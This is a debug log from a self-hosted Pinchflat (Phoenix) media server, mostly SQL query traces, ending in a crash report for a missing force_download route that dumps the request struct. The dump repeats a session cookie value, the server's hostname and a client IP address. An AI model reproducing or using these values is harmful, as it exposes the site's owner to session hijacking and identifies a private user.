[] 17:53:42.282 [debug] QUERY OK source="settings" db=0.8ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.282 [debug] QUERY OK source="sources" db=1.1ms queue=0.4ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 17:53:42.282 [debug] QUERY OK source="media_profiles" db=1.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.283 [debug] QUERY OK source="media_profiles" db=0.8ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.283 [debug] QUERY OK source="sources" db=1.5ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.283 [debug] QUERY OK source="settings" db=1.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.284 [debug] QUERY OK source="settings" db=0.4ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.284 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:53:42.284 [info] Sent 200 in 17ms 17:53:42.284 [info] Sent 200 in 19ms 17:53:42.285 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.285 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.286 [debug] QUERY OK source="sources" db=0.2ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.286 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:53:42.286 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.287 [info] Sent 200 in 9ms 17:53:42.287 [debug] QUERY OK source="sources" db=0.4ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.288 [info] Sent 200 in 13ms 17:53:42.288 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 17:53:42.288 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.290 [info] Sent 200 in 32ms 17:53:42.291 [info] GET /media_profiles/1/ 17:53:42.291 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.291 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.292 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 17:53:42.292 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.292 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.293 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.294 [info] Sent 200 in 3ms 17:53:42.352 [info] GET /media_profiles/1/edit 17:53:42.352 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.353 [debug] QUERY OK source="media_profiles" db=0.2ms idle=61.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.353 [debug] QUERY OK source="settings" db=0.1ms idle=61.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.353 [debug] QUERY OK source="settings" db=0.1ms idle=61.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.354 [debug] QUERY OK source="settings" db=0.1ms idle=61.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.355 [info] Sent 200 in 3ms 17:53:42.398 [info] GET /sources/2/media/482073/edit 17:53:42.398 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 17:53:42.398 [info] GET /sources/2/media/482073/force_download 17:53:42.399 [debug] QUERY OK source="media_items" db=0.2ms idle=105.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 17:53:42.399 [info] GET /sources/2/media/482073 17:53:42.399 [debug] QUERY OK source="settings" db=0.2ms idle=45.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.399 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 17:53:42.399 [debug] QUERY OK source="settings" db=0.2ms idle=45.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.399 [debug] QUERY OK source="settings" db=0.1ms idle=45.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.399 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:42.400 [debug] QUERY OK source="settings" db=0.4ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.400 [debug] QUERY OK source="media_items" db=0.7ms idle=45.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 17:53:42.400 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.401 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 17:53:42.401 [debug] QUERY OK source="sources" db=0.3ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:42.401 [info] Sent 200 in 3ms 17:53:42.401 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [16832] 17:53:42.402 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.400 [error] #PID<0.162908.0> running PinchflatWeb.Endpoint (connection #PID<0.162907.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/482073/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48074}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162908.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/482073/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT1IzsNPNzOEABviE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48074}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48074}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162908.0>, params: %{}, path_info: ["sources", "2", "media", "482073", 